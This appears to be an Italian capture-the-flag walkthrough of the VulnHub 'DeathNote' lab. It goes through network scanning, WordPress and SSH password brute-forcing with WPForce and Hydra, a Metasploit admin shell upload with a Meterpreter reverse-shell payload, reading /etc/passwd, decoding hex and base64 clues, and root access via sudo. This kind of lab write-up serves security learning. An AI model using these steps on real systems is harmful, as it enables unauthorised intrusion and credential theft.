Categories: ⚔️, CTF, DN, Hacking, 🗡️21.4 min read

CTF DeathNote

Glossario
CTF (Capture The Flag) Tipo di competizione in cui i partecipanti cercano di risolvere una serie di sfide, testando le loro abilità in varie aree della sicurezza informatica
NMAP Network Mapper è uno strumento di sicurezza informatica utilizzato per la scansione di reti e la ricerca di host, servizi e vulnerabilità sulla rete
Password Guessing Attack Tipologia di attacco informatico in cui un aggressore cerca di “indovinare” le credenziali di accesso di un utente ad un determinato sistema informatico
METASPLOIT Framework di Penetration Test e di sviluppo di exploit open source, utilizzato per testare la sicurezza informatica delle reti e dei sistemi informatici attraverso il rilevamento di vulnerabilità e l’esecuzione di attacchi
Meterpreter Payload sviluppato all’interno del framework Metasploit che consente all’attaccante di eseguire comandi sul sistema compromesso, con lo scopo di acquisirne il controllo completo
Payload Componente di un attacco informatico o di un exploit che contiene il codice eseguibile o i dati dannosi che il malware o l’attaccante cerca di immettere nel sistema target
Base64 Sistema di codifica che converte i dati binari in testo ASCII utilizzando un set di 64 caratteri.
Crawler Anche conosciuto come spider o bot, è un software utilizzato per esplorare automaticamente il web e raccogliere informazioni da esso.

Prologo – StoryLine

La Capture The Flag (CTF) “Deathnote” è ambientata nell’universo dell’omonimo manga ideato da Tsugumi Ōba ed illustrato da Takeshi Obata. L’avvincente storia narra di un quaderno “caduto” sulla terra, che dona al suo utilizzatore il potere di uccidere chiunque, semplicemente scrivendone il nome e figurandone mentalmente il volto. Tale quaderno viene ritrovato da un brillante studente delle scuole superiori, Light Yagami, che si erge a giustiziere cominciando ad uccidere tutti i criminali, nell’utopia di creare un mondo libero dal male. I suoi piani però, vengono contrastati da un investigatore privato chiamato ad indagare sul caso delle misteriose morti: L (Elle).
Il caso specifico prenderà il nome in codice: KIRA.

Personaggi che incontreremo nella CTF:

  • Light Yagami aka Kira: il protagonista di Death Note, lo studente modello che trova il Death Note
  • Elle aka L: il detective privato chiamato ad indagare sul caso “Kira”
  • Misa: una modella dal comportamento infantile che si innamora di Light Yagami / Kira
  • Soichiro Yagami: ufficiale di polizia e padre di Light, che guida il caso “Kira”
  • Ryuk: il Dio della Morte che lascia cadere il quaderno sulla terra

CTF Download Link: https://www.vulnhub.com/entry/deathnote-1,739/

Parte I – Ricognizione

Cominciamo la nostra CTF individuando il bersaglio. Sfruttando l’Address Resolution Protocol (ARP) possiamo enumerare i dispositivi presenti all’interno della rete.

Il protocollo Address Resolution Protocl (ARP) opera al secondo livello del modello ISO/OSI, Data Link (sotto di esso c’è solo il layer fisico). Qualsiasi host che all’interno di una rete voglia conoscere l’indirizzo fisico di un altro host (il MAC Address), invia una “richiesta ARP” in broadcast sulla rete (ad ogni device). In questo modo, tutti i device all’interno della rete ricevono una richiesta con il MAC della macchina da cui essa è stata originata e l’indirizzo IP della macchina del destinatario. L’host che riconosce il proprio IP, risponderà con un “ARP Reply” contenente il proprio MAC, inviandolo direttamente al mittente.

Sostanzialmente, equivale ad urlare in una stanza affollata: «Chi è il proprietario della macchina targata 192.168.178.37?». Riposta: «La macchina è mia! Mi chiamo 08:00:27:28:8c:2b».

A questo scopo, utilizziamo il comando arp-scan –lcon i permessi sudo.

Nota: potevamo ottenere il medesimo risultato operando con il comando netdiscover oppure, ad esempio, con uno Sweep-Ping attraverso nmap (opzione -sP).

L’output ci mostra i diversi dispositivi presenti nella rete. Per individuare l’indirizzo IP della macchina target, possiamo fare riferimento al campo descrizione dell’arp-scan (tarza colonna), che mostra il lookup dell’indirizzo MAC.

Il Media Access Control (MAC).
È chiamato anche indirizzo fisico ed è un codice di 48 bit assegnato in modo univoco ad una device card (una scheda circuitale) nota come Network Interface Card (NIC) o più semplicemente scheda di rete, che ha il compito di trasformare in segnali elettrici le informazioni che trasmettiamo sulla rete. L’indirizzo fisico del NIC è il MAC Address ed ogni qual volta un indirizzo IP viene associato mediante il protocollo TCP/IP, il MAC Address viene collegato all’hardware della scheda di rete.

Struttura del MAC Address:
L’indirizzo MAC è composto da sei ottetti sperati da un trattino, ad esempio: be:a0:f0:7a:48:71
Le prime sei cifre (i primi tre ottetti) del MAC, solitamente in notazione esadecimale, sono detti Organizationally Unique Identifier (OUI) ed identificano il produttore dell’interfaccia di rete; le successive cifre rappresentano il numero di serie della scheda di rete.

La sigla “PCS Systemtechnik GmbH” fa riferimento a Oracle VM VirtualBox il nostro software utilizzato per virtualizzare le macchine. Non essendoci altre macchine virtuali all’interno della nostra rete, l’indirizzo IP associato a questo MAC-Address è senza dubbio quello del nostro target: 192.168.178.180

Possiamo quindi procedere con una ricognizione mirata, utilizzando il tool nmap per enumerare porte e servizi:

nmap -n -p- -sV 192.168.178.180 –oA NmapDeathnote

nmap -n -p- -sV 192.168.178.180 –oA NmapDeathnote

  • nmap : comando
  • -n : no lookup
  • -p– : scansiona tutte le porte, quindi dalla 1 alla 65.635 (la porta 0 è esclusa)
  • -sV : Version Scanning, tenta l’identificazione del servizio che gira sulla determinata porta, inviando diversi pacchetti come test (definiti nmap-service-probe-files) e completa il three-way handshake attendendo la risposta
  • 168.178.180 : indirizzo IP della nostra macchina target
  • -oA : l’output viene salvato nei formati “normal” , “greppable” e XML
  • NmapDeathnote : il nome con cui verrà salvato l’output

Lo stato della porta viene identificato da nmap con il seguente criterio:

  • PORTA APERTA à A invia SYN, B risponde con SYN-ACK
  • PORTA CHIUSA o FILTERED à A invia SYN, B risponde con RST-ACK
  • FILTERED à A invia SYN, B risponde ICMP Port Unreachable
  • FILTERED à (Inaccessibile) A invia SYN, B non risponde

Parte II – WordPress

Sulla macchina risultano essere aperte due porte, con i rispettivi servizi SSH e http: 22 e 80.

Solitamente la porta 80, durante le CTF, è la “vetrina” che ci introduce la Challenge. Utilizziamo il tool curl per raggiungere quindi il nostro indirizzo http://192.168.178.180 e visualizzarne il contenuto:

curl http://192.168.178.180

curl http://192.168.178.180

Dall’output possiamo notare che vi è un re-indirizzamento verso un altro hostname http://deathnote.vuln/wordpress e poi la richiesta termina nel vuoto.

Note: se apriamo un browser e navighiamo all’indirizzo http://192.168.178.180 potremo constatare che il re-indirizzamento (ovviamente) non andrà a buon fine. Ciò che dobbiamo fare quindi, è indicare la “rotta di navigazione”.

Sui sistemi operativi esiste un file originariamente chiamato HOSTS.TXT, che consente di tradurre nomi host in indirizzi IP. Questo file contiene righe di testo costituite dall’associazione “IP – nome host” e in maniera similare, assolve la funzione del Domain Name System (DNS). La prima cosa da fare è individuare la cartella di default del nostro file host. Il percorso, nel mio caso, è: /etc/hosts (avrei potuto anche utilizzare il comando locate per individuarlo).

NOTA: su sistemi operativi differenti il file si trova al seguente percorso Windows – C:WindowsSystem32driversetchosts – MAC OSX – /private/etc/hosts

Inseriamo quindi la stringa della nostra “rotta” all’interno del file hosts.

echo 192.168.178.180 deathnote.vuln >> /etc/hosts

echo 192.168.178.180 deathnote.vuln >> /etc/hosts

  • echo : scriviamo sullo standard output
  • 168.178.180 deathnote.vuln : specifichiamo l’associazione IP – hostname
  • >> : la inseriamo in modalità “appending” alla fine del file
  • /etc/hosts : il percorso al nostro file, dove desideriamo aggiungere la stringa

Apriamo adesso il browser e ripetiamo il tentativo di navigazione: questa volta il re-indirizzamento andrà a buon fine. Ad accoglierci troveremo Kira con aria minacciosa.

Ad una prima occhiata, nella pagina possiamo già trovare alcune informazioni interessanti: in alto a destra è presente un “HINT” su cui è possibile cliccare ed in basso a sinistra c’è un commento di L.

Una volta cliccato sulla voce “HINT” verremo condotti ad una pagina che reca la seguente dicitura:

Trova il file notes.txt sul server
oppure
guarda il commento di L

Se scorriamo in basso la pagina possiamo leggere il commento di L in grassetto:

My fav line is iamjustic3

Il primo indizio ci suggerisce quindi l’esistenza di una qualche directory nel server, navigabile e contenente un file notes.txt

Proviamo ad eseguire un bruteforce sulle directory del sito e vedere se scopriamo qualcosa di interessante. Per farlo, utilizziamo il tool dirb con la seguente sintassi:

dirb http://deathnote.vuln/ > deathnoteDirectory.txt

dirb http://deathnote.vuln/ > deathnoteDirectory.txt

  • dirb: invochiamo il tool
  • http://deathnote.vuln/ : il nostro target
  • txt : salviamo l’output del commando su un file di testo

Esiste un codice sullo stato delle risposte http che identifica il risultato della nostra richiesta alla data pagina:

  • 100-199 : Risposte di tipo informative
  • 200-299 : Risposte che identificano un “successo” della richiesta
  • 300-399 : Messaggi di re-indirizzamento
  • 400-499: Errori di risposta del Client
  • 500-599: Errori di risposta del Server

Una volta che l’attacco sarà terminato, eseguiamo un grep sul file in cui abbiamo salvato l’output, filtrando le richieste che hanno avuto successo e quindi contengono il codice 200.

cat deathnoteDirectory.txt| grep 200

cat deathnoteDirectory.txt| grep 200

Oltre ad una lunga lista di cartelle e file di “default”, possiamo notare la pagina http://deathnote.vuln/robots.txt

Il file robots.txt è un file di testo, scritto in ASCII oppure UTF-8 e contenuto nella directory principale del sito. Viene usato per indicare ai crawler dei motori di ricerca (bot) quali pagine o file sono autorizzati o meno ad inviare richieste al sito, per evitarne il sovraccarico. La vulnerabilità? È un file pubblico.

Navighiamo quindi sino al nostro nuovo percorso. Ad attenderci, troveremo un nuovo indizio.

Kira sta cercando di nasconderci un file locato al percorso: http://deathnote.vuln/important.jpg . All’apparenza il file sembra un’immagine. Ma scarichiamolo e analizziamolo più da vicino. Per farlo, utilizziamo il comando wget:

wget http://deathnote.vuln/important.jpg

Se cerchiamo di aprire l’immagine con un doppio click, il risultato produrrà un errore. Proviamo quindi a vedere se l’immagine contiene delle stringhe di testo.

strings important.jpg

Noteremo che il commando strings mostra un eventuale testo, visualizzabile sullo standard output, con una lunghezza di quattro o più caratteri.

Pare quindi che il padre di Light, anche se con alcuni dubbi, stia seguendo la pista di L su Kira assumendo che il killer sia proprio suo figlio. Inoltre, dalle informazioni ricavate, sembrerebbe che lo username di accesso (probabilmente a WordPress) sia contenuto in un file chiamato user.txt e la password sia contenuta nel commento di L scovato prima.

Ricapitolando, da qualche parte nell’istanza di WordPress sono presenti due file: uno è notes.txt l’altro user.txt

La struttura di WordPress di default è organizzata in tree di directory e pone l’attenzione su tre percorsi:

  • wp-admin: contiene file e sottocartelle necessarie al suo corretto funzionamento
  • wp-content: tutto ciò che carichiamo sul sito di WordPress finisce in questa cartella, includendo tutto il contenuto prodotto dall’utente
  • wp-includes : contiene tutti i plug-in o i “temi” installati.

La Directory root di WordPress contiene diversi file necessari alla sua configurazione e fondamentali per il suo funzionamento:

  • php : è l’homepage
  • txt : contiene informazioni utili, come la versione di WordPress
  • wp-activate.php : viene utilizzata nel processo di autenticazione dell’indirizzo email
  • wp-admin : è la pagina di login degli amministratori per accedere al backend.
    I percorsi di default al login, sono (solitamente) i seguenti
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php

Tenendo ora a mente la struttura di WordPress, effettuiamo una scansione mirata sul noto sistema per creare siti web e blog.

Torniamo sul nostro terminale ed invochiamo il tool wpscan. Molto utile per evidenziare in maniera mirata alcune vulnerabilità di WordPress. Dopo alcuni secondi, il tool ci prospetterà sul terminale i risultati. Notiamo che ha scovato una directory navigabile.

Pare che la directory contenente il materiale prodotto dall’utente per il sito, sia accessibile. Verifichiamo quindi la veridicità della vulnerabilità ed esploriamo la directory.

Dopo una breve ricerca, troveremo i nostri due file, al percorso: http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/

Scarichiamoli ed analizziamoli:

wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt && wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt

wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt && wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt

Note: Ho utilizzato l’operatore booleano AND ( && )per concatenare di seguito l’esecuzione dei due wget.

Apriamo adesso i file con un cat. Come potevamo intuire, il primo contiene quella che sembra una lista di username; il secondo una lista di potenziali password.

A questo punto, proviamo ad eseguire un attacco di Password Guessing alla pagina di login di WordPress. Prima di passare all’azione però, aggiungiamo alla lista delle password quella trovata nel commento di L.

echo iamjustic3 >> notes.txt

echo iamjustic3 >> notes.txt

Potremmo procedere con l’attacco utilizzando diversi tool (matasploit, wpscan, etc…), ma testiamone uno nuovo per l’occasione: WPForce.

Per prima cosa scarichiamo il tool:

git clone https://github.com/n00py/WPForce.git

git clone https://github.com/n00py/WPForce.git

Entriamo nel folder cd WPForce e assegnamo i permessi di esecuzione allo script in Python:

chmod +x wpforce.py

chmod +x wpforce.py

Lo Script non è compatibile con la nuova versione di Python, dovremmo quindi utilizzare la 2.7 e avviarlo con un “meno” h per visualizzare l’help dei parametri:

python2.7 wpforce.py –h

python2.7 wpforce.py –h

Quindi scriviamo il seguente comando e analizziamolo:

python2.7 wpforce.py –input /home/a1rk/Desktop/user.txt –wordlist /home/a1rk/Desktop/notes.txt –url http://deathnote.vuln/wordpress/

python2.7 wpforce.py --input /home/a1rk/Desktop/user.txt --wordlist /home/a1rk/Desktop/notes.txt --url http://deathnote.vuln/wordpress/

  • 7 : versione di Python con cui lanciamo lo script
  • py : nome dello script/tool che stiamo utilizzando
  • –input : parametro per specificare lo username in input
  • /home/a1rk/Desktop/user.txt : percorso del file contenente lo username
  • –wordlist : parametro per specificare la nostra wordlist (l’elenco delle password)
  • /home/a1rk/Desktop/notes.txt : percorso della wordlist
  • –url : paramentro per specificare l’URL del sito wordpress
  • http://deathnote.vuln/wordpress/ : il target (il nostro sito WordPress)

L’attacco terminerà entro pochi secondi, dandoci il nostro agognato risultato: lo user name e la password per accedere al backend di WordPress.

Nota: in realtà lo username era facilmente “intuibile: kira. La password, come ci suggerivano gli indizi, era contenuta nel commento di L: iamjustic3 . Ad ogni modo, il nostro attacco Password Guessing non lascia adito a dubbi. Possiamo finalmente loggare come admin nell’istanza.

PARTE III – Attack the Machine

Primo Approccio – METASPLOIT

Durante il mio primo approccio alla CTF, una volta ottenuto l’accesso con le credenziali di amministratore a WordPress, la mia prima intenzione è stata quella di sfruttarle per tentare di ottenere una Reverse Shell sulla macchina, mediante le funzionalità di upload dei file (come amministratore) per caricare del codice malevolo (ad esempio in PHP). Proseguiamo facendo un tentativo con questo primo metodo.

Esiste un modulo in METASPLOIT noto come

wp_admin_shell_upload

wp_admin_shell_upload

Apriamo un terminale sulla nostra macchina attaccante e invochiamo il noto framework:

sudo metasploit

sudo metasploit

Carichiamo il modulo utilizzando il comando:

use exploit/unix/webapp/wp_admin_shell_upload

use exploit/unix/webapp/wp_admin_shell_upload

E listiamone le opzioni:

show options

show options

La colonna Required identifica (con yes) le informazioni mandatorie che dobbiamo inserire:

  1. set PASSWORD iamjustic3
  2. set RHOSTS 168.178.180
  3. set TARGETURI http://deathnote.vuln/wordpress
  4. set USERNAME KIRA

Come Payload, lasciamo pure quello di default: php/meterpreter/reverse_tcp . Assicuriamoci solamente che, come LHOST, sia impostato l’indirizzo IP della nostra macchina attaccante.

Se a questo punto digitiamo il comando run oppure exploit otterremo la nostra Reverse Shell sulla macchina.

Digitiamo il comando

shell

shellper ottenere il prompt della shell. Successivamente

cat /etc/passwd

cat /etc/passwd per ottenere la lista degli utenti sulla macchina.

Scopriamo così che esistono due utenti all’interno della macchina: uno chiamato “kira”; l’altro “l”.

Secondo Approccio – SSH

Durante la scansione con NMAP abbiamo notato che oltre al protocollo http sulla porta 80, era presente anche il servizio ssh sulla porta 22.Un altro possibile approccio potrebbe essere allora quello di tentare il bruteforce sul protocollo SSH, sfruttando il tool HYDRA. Ovviamente, per tentare questa strada, dovremmo avere username e una lista di possibili password, che in questo caso già abbiamo a disposizione (il file notes.txt ed il file user.txt). Facciamo quindi un tentativo e proviamo ad eseguire un altro Password Guessing Attack. Apriamo ancora una volta il terminale della nostra macchina attaccante e digitiamo il seguente comando:

hydra -L /home/a1rk/Desktop/user.txt -P /home/a1rk/Desktop/notes.txt 192.168.178.180 ssh

hydra -L /home/a1rk/Desktop/user.txt -P /home/a1rk/Desktop/notes.txt 192.168.178.180 ssh

  • hydra : invoca il tool
  • -L : specifica un file contenente una lista di username /home/a1rk/Desktop/user.txt :
  • -P : specifica un file che contiene una lista di password /home/a1rk/Desktop/notes.txt
  • 168.178.180 : l’indirizzo IP della vittima
  • ssh : il protocollo da attaccare

L’attacco andrà a segno e dopo pochi secondi il tool ci restituirà le credenziali di accesso via SSH dell’utente l .

PARTE IV – Into the machine

È il momento di procedere con il passaggio successivo. Colleghiamoci alla macchina mediante ssh e digitiamo la password appena trovata.

ssh l@192.168.178.180

Ci ritroveremo direttamente dentro la home directory dell’utente, dinanzi a due file .txt:user e filetxt

Eseguendo il comando cat sul file user.txt , ci verrà restituito il seguente testo:

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.————.+.+++++.—.<<.>>++++++++++.<<.>>————–.++++++++.+++++.<<.>>.————.—.<<.>>++++++++++++++.———–.—.+++++++..<<.++++++++++++.————.>>———-.+++++++++++++++++++.-.<<.>>+++++.———-.++++++.<<.>>++.——–.-.++++++.<<.>>——————.+++.<<.>>—-.+.++++++++++.——-.<<.>>+++++++++++++++.—–.<<.>>—-.–.+++..<<.>>+.——–.<<.+++++++++++++.>>++++++.–.+++++++++.—————–.

Si tratta di un linguaggio di programmazione esoterico per computer, creato da Urban Müller nel 1993. Per eseguire il codice possiamo utilizzare, ad esempio, il seguente link: https://sange.fi/esoteric/brainfuck/impl/interp/i.html

Il risultato sarà la stringa di testo:

I think u got the shell, but you won’t be able to kill me – Kira

Il file filetxt.txt contiene un lungo elenco di directory, possiamo contare 132 righe per l’esattezza utilizzando il comando

cat filetxt.txt | wc -l

cat filetxt.txt | wc -l

È sufficiente soccorrerlo molto velocemente per notare alcune directory interessanti:

  • Un file kira.txt contenuto nella home directory dell’omonimo utente, ma che sfortunatamente non abbiamo i permessi per leggere
  • Un path nella folder opt: /opt/L/kira-case/case-file.txt

La cartella “/opt/” nei sistemi Linux è utilizzata per installare software aggiuntivi di terze parti, come ad esempio programmi proprietari o applicazioni sviluppate localmente.

Eseguiamo l’ennesimo catpuntando direttamente al file tramite il suo percorso:

cat /opt/L/kira-case/case-file.txt

cat /opt/L/kira-case/case-file.txt

Scoveremo così un altro indizio:

Pare che nella cartella fake-notebook-rule sia contenuto qualcosa sul caso Kira, ma la locazione della cartella ci è sconosciuta. Supponiamo di volerla localizzare cercando in tutto il sistema operativo. Utilizziamo il comando find nel seguente modo:

find / -type d -name “fake-notebook-rule”

find / -type d -name “fake-notebook-rule”

Questo comando cerca tutte le cartelle (non i file) che hanno il nome “fake-notebook-rule” a partire dalla directory root (/) del sistema.

  • find: il comando per cercare file e cartelle
  • /: indica che la ricerca deve partire dalla directory radice del sistema
  • -type d: specifica che si vogliono cercare solo le cartelle (il tipo di file “d” sta per directory)
  • -name fake-notebook-rule: specifica il nome della cartella che si vuole cercare

L’unico problema sarà che l’output che riceveremo avrà numerosi errori “Permission denied” che renderanno di difficile lettura il risultato del comando. Aggiungiamo quindi l’opzione “–prune” per filtrare l’output in modo da poterci concentrare esclusivamente sui risultati validi.

find / -type d -name “fake-notebook-rule” 2>/dev/null -prune

find / -type d -name "fake-notebook-rule" 2>/dev/null -prune

Questa volta, l’unico risultato sarà il percorso della cartella: /opt/L/fake-notebook-rule

Se avessimo navigato nella cartella /opt/ utilizzando esclusivamente il comando ls, non avremmo avuto risultati e la directory ci sarebbe parsa apparentemente vuota.
In realtà i file (e il rispettivo percorso) sono celati utilizzando il “.” davanti al nome del file. Difatti, i file e le directory che iniziano con “.” non vengono mostrati, a meno che non si utilizzi il parametro –a .
Avremmo quindi dovuto riformulare il comando ls seguito dal parametro -a che ci avrebbe permesso di visualizzare cartelle e file nascosti.

A questo punto, consultiamo lo “schedario” che contiene un importante dettaglio sul caso KIRA:

ls /opt/L/fake-notebook-rule

ls /opt/L/fake-notebook-rule

Ci appaiono nuovamente due file case.wav e hint. Utilizziamo il comando cat per visualizzare il contenuto del file hint: use cyberchef

CyberChef è un programma gratuito ed open-source utilizzato per analizzare e manipolare dati in vari formati come testo, immagini, file binari, file audio e altro ancora. Il programma permette di utilizzare diverse tecniche di elaborazione come la codifica / decodifica, la compressione, l’analisi di stringhe, l’hashing, la ricerca di espressioni regolari etc…

Eseguendo il comando cat sul secondo file otteniamo invece il seguente output:

63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d

Osservando la stringa possiamo notare che è composta esclusivamente da caratteri esadecimali (0-9 e a-f). Inoltre, si conclude con il carattere “3d” che rappresenta l’equivalente esadecimale del carattere “uguale” ( = ), utilizzato spesso per indicare il termine di una stringa codificata in base64.

Potremmo quindi desumere che il testo originale sia stato codificato più volte, in vari modi: la prima decodifica è in esadecimale, la seconda è in base64.

  1. Copiamo la stringa ed apriamo un nuovo terminale digitando:
echo -n “63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d” | xxd -r -p

echo -n "63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d" | xxd -r -p

Il flag -n utilizzato con il comando echo serve ad evitare che venga stampato un carattere di nuova linea dopo la stringa. Il flag -r utilizzato con il comando xxd serve a decodificare la stringa esadecimale, mentre il flag -p indica che la stringa in input è formattata in esadecimale.

  1. Adesso facciamo ancora un passaggio decodificando il risultato, ottenuto, in base64:
echo cGFzc3dkIDoga2lyYWlzZXZpbCA= | base64 -d

echo cGFzc3dkIDoga2lyYWlzZXZpbCA= | base64 -d

echo stampa a video la stringa di testo, l’operatore pipe concatena l’output al secondo comando che decodifica la stringa in base64.

In questo modo, otterremo finalmente la password di accesso per lo user kira.

Non ci resta che cambiare utente. Torniamo sulla nostra sessione ssh e digitiamo su kira , inseriamo la password appena ottenuta. Digitando il comando sudo -l possiamo notare che l’utente kira ha privilegi di root sulla macchina.

Dirigiamoci a leggere il file che prima non potevamo aprire, contenuto nella home del nostro nuovo utente:

cat /home/kira/kira.txt

cat /home/kira/kira.txt

L’output sembra un altro testo codificato in base64. Apriamo ancora una volta un secondo terminale e utilizziamo il comando per la decodifica in base64, già visto precedentemente:

echo cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp | base64 -d

echo cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp | base64 -d

Please protect one of the following
L (/opt) or Misa (/var)

Pare che nella Directory /var/ ci sia qualcosa relativo a Misa che forse ci permetterebbe di “salvarla”.

La directory “var” nei sistemi Linux contiene file variabili, ovvero file che possono cambiare di contenuto durante l’utilizzo del sistema. Lo scopo principale di questa directory è salvare dati che sono soggetti a cambiamenti frequenti, come ad esempio i log di sistema, i file di spool di stampa, i file di cache e i file temporanei.

Torniamo quindi sulla sessione ssh e listiamo il contenuto della directory:

ls /var/

ls /var/

In effetti, noteremo che esiste un file chiamato misa, ma sfortunatamente con il comando cat , scopriremo che per la ragazza è troppo tardi:

cat /var/misa

cat /var/misa

Ma giunti a questo punto, perlomeno, siamo riusciti ad incastrare Kira! Accediamo alla shell di root sulla macchina, digitando:

sudo su

sudo su

Infine, accediamo alla home dell’utente “root” nell’omonima cartella: cd /root/

Al suo interno troveremo la conclusione della nostra indagine e della nostra CTF:

cat root.txt

cat root.txt

Go to Top